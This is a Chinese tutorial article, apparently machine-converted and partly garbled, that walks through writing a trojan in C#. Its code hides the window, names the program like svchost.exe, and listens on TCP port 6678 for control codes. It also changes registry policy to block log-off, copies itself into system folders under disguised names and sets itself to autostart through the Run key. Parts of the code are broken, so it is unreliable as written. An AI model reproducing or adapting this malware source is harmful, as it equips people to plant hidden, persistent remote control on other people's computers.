基於C#完成的木馬法式實例詳解。本站提示廣大學習愛好者:(基於C#完成的木馬法式實例詳解)文章只能為提供參考,不一定能成為您想要的結果。以下是基於C#完成的木馬法式實例詳解正文
本文以C#為例講授木馬法式的完成進程。要完成木馬辦事的法式,重要完成以下幾個功效:後台的運轉(隱蔽技巧),掌握碼的吸收與注冊表的修正,上面就針對這三方面做引見:
1、在C#中,樹立一個後台辦事法式是很輕易的,先樹立一個新的C#的Windows運用法式,項目稱號自定(不外為了隱蔽可以使用與體系鄰近的稱號,如svchost.exe等),將窗體屬性"ShowInTaskbar"屬性設為false,讓它運轉時不會在義務欄中顯示,並將屬性"Windowstate"屬性設為Mininized便可,如許窗體便可以隱蔽運轉了。固然你也能夠在InitializeComponent()設置,此函數起先始化的感化,在窗體顯示前運轉,代碼以下:
private void InitializeComponent() { // // Form1 // //窗體顯示的終點和年夜小 this.AutoScaleBaseSize = new System.Drawing.Size(6, 14); this.ClientSize = new System.Drawing.Size(368, 357); //窗體稱號 this.Name = "Form1"; //設置屬性讓它後台運轉 this.ShowInTaskbar = false; this.Text = "Form1"; this.WindowState = System.Windows.Forms.FormWindowState.Minimized; }
2、掌握代碼的吸收,必須在辦事法式運轉開端就啟動,所以偵聽線程必須在法式初始化中啟動,所以放在窗體的結構函數中,代碼注解以下:
public Form1() //窗體的結構函數 { // // Windows 窗體設計器支撐所必須的 // InitializeComponent(); // // TODO: 在 InitializeComponent 挪用後添加任何結構函數代碼 //參加你的偵聽代碼 //端口你可以自已設定,我應用了固定的端口 int port =6678; //System.Net.Sockets.TcpListener是用來在Tcp收集中偵聽客戶真個 listener = new TcpListener(port); //啟動偵聽 listener.Start(); //增長吸收掌握碼的線程,假如要停滯線程可以用 Thread.abort() //reControlCode 是線程啟動履行的函數,此函數依據吸收的掌握 //掌握碼拔取適合的注冊表修正函數 Thread thread = new Thread(new ThreadStart(reControlCode)); thread.Start(); }
reControlCode函數以下,完全代碼見法式:
private void reControlCode() { //設置吸收套接字,吸收listener.AcceptSocket是前往曾經吸收的客戶的要求 socket = listener.AcceptSocket(); //假如銜接勝利履行 while (socket.Connected) { //吸收掌握碼 byte [] by =new byte[6]; int i = socket.Receive(by,by.Length ,0); string ss = System.Text.Encoding.ASCII.GetString(by); //依據掌握碼履行分歧的功效 //修正注冊表參加編碼 switch (ss) { case "jiance"://測試銜接,前往測試信息 string str ="hjc"; byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str); socket.Send(bytee,0,bytee.Length,0); break; case "zx1000": //修正注冊表函數,自已界說,見上面剖析 UnLogOff(); //前往掌握新聞 retMessage(); break; case "zx0100": //修正注冊表函數 UnClose(); //前往掌握新聞 retMessage(); break; //反復的case功效與後面一樣,略失落 default: break; }//case }//while } //private void reControlCode
3、C#中完成注冊表的修正,應用了。NET類庫中的System.Microsoft.Win32敕令空間,它供給兩品種型的類:處置由操作體系激發的事宜的類和對體系注冊表停止操作的類。上面便可以看到它的用法。這裡我做了一個修正注冊表的子法式:使盤算機不克不及刊出。在這之前先懂得注冊表,在子鍵SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer
上面設鍵值NoLogOff 為 1 便可使盤算機沒法刊出。鄙人面的函數頂用C#完成對注冊表的修正:
private void UnLogOff() { //獲得主機的注冊表的頂級節點 Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine; //設置一個注冊表子鍵的變量 RegistryKey key1; try { //函數RegistryKey.OpenSubkey(string registrykey,bool canwrite)檢索指定的子鍵 //registrykey是用戶指定的鍵值,canwrite 為true則可修正,默許為fasle弗成改 key1 = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true); //設置子鍵的鍵名,和值 key1.SetValue ("NoLogOff",1); //封閉翻開的子鍵 key1.Close(); //正告字符串設定 mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer鍵值Nologoff被修正!請將它置為0!"; } catch{} //假如不存在自已樹立 if(key1 ==null) { try { //應用RegistryKey.CreateSubKey(string mystring)函數來樹立你須要的子鍵 RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer"); key2.SetValue("NoLogOff",1); key2.Close(); mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer鍵值Nologoff被修正!請將它置為0!"; } catch{} } }
4、在木馬法式中還有一個主要的功效就是自我的復制和轉移。木馬引入被掌握的主機時必須主動將木馬隱蔽在System,System32的目次下以防被發明。轉移的代碼剖析以下,重要完成的功效是將D盤下的木馬法式轉移到C://winnnt//system//msdoss.exe,同時換稱號。應用的。NET定名空間System.IO,它的感化是許可對數據流和文件停止同步和異步讀寫。這裡我們應用了System.IO.File類。
private void moveCC1() { try { //函數File.Move(string sourceFileName,string destFileName)起挪動文件的感化 //sourceFileName為要挪動的文件名,destFileName為文件的新途徑 File.Move("C://winnnt//system//msdoss.exe","d://winnt//system32//expleror.exe"); } catch {} //將新移的木馬法式設為自啟動。剖析和後面一樣 try { key1 = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true); key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe"); key1.Close(); } catch{} if(key1 ==null) { try { RegistryKey key2=rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run"); key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe"); key1.Close(); } catch{} } } //moveCC1()